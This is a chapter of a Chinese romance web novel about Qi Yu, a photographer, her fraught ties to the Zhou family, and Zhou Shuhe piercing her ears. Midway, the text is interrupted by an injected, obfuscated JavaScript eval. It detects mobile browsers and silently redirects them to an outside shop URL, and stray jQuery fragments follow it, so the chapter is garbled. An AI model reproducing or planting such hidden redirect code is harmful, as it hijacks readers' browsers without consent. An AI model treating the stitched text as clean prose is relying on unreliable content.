38. chapter 38

作品:《设陷

    下完前几日的雨,接下来几天温度飙升,最高能有二十度。


    戚钰出门前查了下天气,脱掉了厚外套,进了棚,又脱掉风衣,只剩下件薄薄的羊毛衫贴在身上。


    她是第一个到棚内的,等了一刻钟后,才有人来,开始布置现场。


    一切准备就绪后,模特的影子还没看到,戚钰就发了个消息过去催。


    小觅:【华哲在路上掉链子了啊啊啊,还要半小时,我先在车上自己把妆画了。】


    半小时后,人终于来了。


    小觅赶忙到夏夏那检查下妆有没有问题,然后换衣服。


    正式开拍后,夏夏鬼鬼祟祟来到她身边,小声道,“我没细看不知道,小觅和姐你,眼睛特别像,鼻子她整太过反而不像,嘴也像,整体来看,还是挺像的。”


    夏夏一走,华哲就来到她身边,顺势给她递了杯咖啡。


    戚钰早上喝过一杯了,又把夏夏叫了过来,“你待会儿补妆的时候把这杯咖啡给小觅送过去吧,她男朋友帮买的。”


    “我不是她男朋友。”华哲皱了下眉。


    “哦。”


    她态度冷淡,华哲“啧”了一声,“你还不知道我和她的关系,我们这样,也不一定是男女朋友,就像当初你和周舒禾。”


    “我和舒禾可不是这样。”


    过了一会儿。


    她看着灯光下,用不经意的口吻道,“刚刚夏夏跑来和我说,小觅和我的五官很像,甚至我和她能穿上同一件量身定做的衣服,华总不觉得有些巧了吗?”


    “不巧。”华哲轻笑,“我故意的。”


    只是没想到能被戚钰当场撞见,显得他有多在意她一样。


    “说实话,有点恶心。”戚钰毫不遮掩。


    华哲看了小觅一眼,“那要不我换一个?她不太听话,还喜欢争风吃醋。”


    戚钰觉得他没救了,从骨子里蔓延出来的傲慢与下流。


    “我身边总要有个女人撑面。”他笑着道,“要是正主愿意的话,说不定换得就没有那么勤了。”


    “我也当过替身。”


    华哲眼底流露出惊讶。


    “我刚打耳洞那一阵,只会戴红色耳钉,只因为她耳朵上有颗红色的小痣。他原是想让我纹出来,可我实在不愿意。”


    “他是舒禾?”


    “不是。”戚钰淡淡道,“他小叔。”


    “那我知道是谁了。”似乎是那个人,华哲并不奇怪,“他和他的初恋是六年同窗,还没出校园,那个女人就一炮而红,成为最红的歌星,人都经不住诱惑,那个女人也一样,她的金主是香港那边的巨鳄,而周修明当时,还要看他大哥的脸色行事。”


    “再后来那女人毁了容,有人说是嫉妒她的人干的,也有人说,是周叔叔干的。”


    “不是他干的。”戚钰道。


    为了自保,她了解了许多周修明的往事,每一条说出来,都骇人听闻。


    他曾见过自己心爱的女人被旁人折磨却乐在其中,他愤怒,却又恨不得女人身前的人,是他自己。


    后来,那女人被下了狠手遍体鳞伤奄奄一息,毁容疯癫。


    成为他终身的阴影。


    “不过我觉得,和他也脱不了干系。”戚钰想了想,“他明明可以救她,他就没想过她也身不由己吗?”


    一个毫无背景的年轻女人,又怎么去对抗来自内外的施压。


    “他只是觉得,是她贪名逐利。”


    华哲打趣道,“你不会在说你自己吧?”


    他不觉得戚钰能了解这么多,说不定大部分只是她的臆想,便开了个玩笑,谁曾想,她陷入沉默。


    “周叔叔又不像香港佬,他那么好的人,你想离开,难道还走不动?”华哲维护周修明。


    戚钰双手环抱在胸前,目光始终低垂着,察觉不出情绪。


    “他呀,放过了那么多人,却没放过我,如果不是他去世。”


    “可能是你和那个女人太像了吧。”华哲越发诧异,但忍着没显现在神情上,低头扫了戚钰一眼,“不过从相貌上看,你们不像。”


    “我们不像。”


    戚钰抬起眸,咬了下自己指尖。


    她就不该抽昨日那根烟,勾起了瘾欲。


    “又太像。”


    -


    上午场拍摄结束,小觅换完衣服就直奔了过来,瞥见华哲的目光还恋恋不舍停留在戚钰身上,笑着推搡了他一把,“你到底是来陪我啊,还是陪她呀。”


    华哲抓住她的手,面上笑着,语气却十分冷淡,“你干吗自讨没趣。”


    小觅冷哼一声,“确实没趣,我要踹了你,你别烦我。”


    华哲将她拉进怀里,用她的手按着自己胸膛,“脾气真大,来,踹,踹这儿。”


    -


    结束一天的拍摄后,戚钰准备回去。


    她是最后一个离开的,避免路上分神,她睡了半小时才动身,到晚上十二点,她才抵达夜阑。


    夜深人静,只有虫子在响动。


    戚钰按门铃,来给她开门的人是周舒禾。


    他洗过澡,身上裹着潮湿,细闻,还有股青草膏的味道,显然是被蚊子折磨得不浅。


    “回这么晚,会吵到周围的人。”


    “好啦,下次早点回。”


    一想到明天可以睡个懒觉,她语调都柔软起来。


    现在已经彻底步入旅游淡季,客房都是空的,晚上也不需要人守着,小何直接回房睡了。


    周舒禾关灯前从前台拿过一个小盒子,“你的快递。”


    戚钰就只买了个一次性打耳洞的东西,回到房间后她拆开快递,打算先去洗个澡,回来再研究。


    周舒禾从快递里掏出耳洞枪,盒子背面有说明,他又打开盒子,将耳洞枪拿了出来。


    等戚钰洗完澡出来。


    他问:“你不是有耳洞?”


    “堵住了。”


    “长回去,挺好。”


    “我打耳洞,不是为了谁。”戚钰从他手中拿过耳洞枪,“现在打回去,只是留了印迹,又不好看,还不如打通后带点耳饰,遮掩一下。”


    周舒禾一把将她捞到自己腿上,“那过来,我帮你打。”


    “很疼,你轻点。”


    反正她自己没打过,让周舒禾帮忙比她对着镜子方便。


    她坐在他腿上,扶着他的肩。


    忽地瞅见他脖子上,有些抓痕。


    指尖落在暗红色的痕迹上,她刚想开口问,耳边突然一声巨响,耳洞枪上的针穿过了她的耳垂。


    她低下眸,没敢再问。


    “疼吗?”周舒禾用棉签刮去不多的血迹。


    她缓声道,“有点。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187366|138935||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    另一只耳,周舒禾慢条斯理地用棉签擦上碘酒,在戚钰抓着他手臂的时候,也打好了。


    戚钰对着镜子看了眼,都打在了原来的位置,没有一丝一毫的偏差。


    还剩下两支耳洞枪,她想用完。


    “还能打在哪?”


    周舒禾指尖抵在她耳钉的末端,观察她薄而小的耳垂。


    “那就这儿吧。”他按在了她耳廓的位置,也是人耳上,最硬最厚的那块软骨。


    “舒禾,我怕疼。”她轻声呢喃。


    “别怕。”他按了按,在寻找合适的位置。


    “都已经为他疼过一次。”那为什么,不能为了他。


    戚钰不说话了,长睫垂落,耐心地等待他的动作。


    他似是在欣赏,涂碘附时,比涂在耳垂上时,时间要长得多。


    戚钰有些紧张,攥着他的衣角,甚至指甲接近他的皮肉。


    他轻笑一声,分散掉她的注意力,然后“咔哒”一声,尖锐的针穿过戚钰耳朵上,最硬,最厚的那块骨。


    她顿时眼睛鼻子红润起来,指甲避开他的皮肤掐进了自己掌心。


    周舒禾感受到颈间的湿润,是纸巾擦去了她的眼泪。


    “其实舒禾,打耳垂不疼。”她整个人蜷缩在她怀中,耳上的麻贯穿全身,“可是打在耳骨上,很疼。”


    他感受到她的颤抖,抚摸着她的后颈,“只有疼才会让人记住。”


    他要让戚钰,记住他。


    在多年以后。


    片刻后,血迹沿着耳廓的形状滑落下来,覆盖住耳垂。


    像蝴蝶的后翅。


    -


    耳朵需要每日进行消毒,还要保持干燥。


    周舒禾干过雕刻这种细致活,帮她清理保养时,也就丝毫不恼,而是一点一点,擦去血迹以及发炎产生的晕染。


    耳洞打在耳骨上,不只打的那几日疼,接下来几周,都会疼。


    周舒禾收拾好棉签后,手机忽然响了。


    来电人是庄晟。


    他直接接通,还开了外放。


    “最近望港刮台风下暴雨,停了一次电后,你小叔的遗体就出现了腐烂,医院尽力维护,也告诉我们时间不超过半个月。”


    房间里空寂无声。


    “在听吗?”


    “在。”他冷冷道。


    他们的时间不多了。


    不好说得太明白,庄晟换了个话题,“对了舒禾,处理完周总的事情后,我大概就会结婚,在大溪地岛上,夏天的大溪地岛很美,届时希望你会来。”


    戚钰心底陡然一沉,庄晟还真是,步步紧逼。


    又或是猜到她的承诺摇摇欲坠。


    周舒禾对于庄晟和谁结婚并不感兴趣,只是挂断电话后,朝戚钰挑了下眉,“你的结婚对象,又少一个。”


    她不敢直视他的目光,“他这样的人,会找什么人结婚。”


    “庄晟的父母都是大学教授,他从高中开始在国外留学,个人能力很强,回国后帮了我爷爷和小叔不少,再加上他外形条件不错,应该眼光挺高的,能被他看上,不容易。”


    戚钰心安了,说不定以后,庄晟会考虑和她离婚,毕竟他大概率看不上她。


    “想去撬墙脚?”她一直沉默,周舒禾目光乍然冷了下来。


    戚钰抱住了他,“不会,我还有你。”